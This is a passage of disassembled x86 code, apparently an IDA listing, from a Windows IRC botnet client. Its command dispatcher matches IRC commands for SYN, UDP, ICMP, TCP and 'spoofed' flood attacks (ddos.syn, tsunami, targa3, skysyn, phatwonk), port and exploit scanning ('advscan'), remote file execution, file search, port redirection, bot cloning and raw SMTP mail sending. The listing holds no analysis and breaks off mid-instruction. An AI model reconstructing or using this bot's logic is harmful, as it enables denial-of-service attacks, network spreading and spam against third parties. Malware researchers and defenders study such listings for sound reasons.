[ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 2680000h nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call near ptr 268082Fh nop push eax push offset dword_42B564 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB6F4, ebx jz short loc_40604E cmp dword_4CB71C, ebx jz short loc_40604E push offset unk_42B528 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42B4FC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42B4DC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42B494 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42B474 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42B454 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42B434 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42B408 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42B3EC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42BBC0 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 2680000h jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j call near ptr 268082Fh nop push eax push offset unk_42B25C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42B214 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h call near ptr 2680000h nop jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 268082Fh push eax push offset dword_42B1D8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42D0F0 ; " " push offset dword_42BBBC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CB594 lea eax, [ebp+var_47EC] push eax call dword_4CB6A8 push 6 push 1 push 2 mov edi, eax call dword_4CB6A4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB624 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB5CC mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB63C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CB674 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB63C push esi call dword_4CB6BC call dword_4CB57C lea eax, [ebp+var_4588] push eax push offset unk_42B09C loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42B054 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42B010 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 2680000h jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 268082Fh push eax push offset unk_42AFD8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42AFA0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB714, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42AF58 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 2680000h jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j call near ptr 268082Fh nop push eax push offset unk_42AF20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42AECC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42AE94 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42AE60 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42AE2C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42ADE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 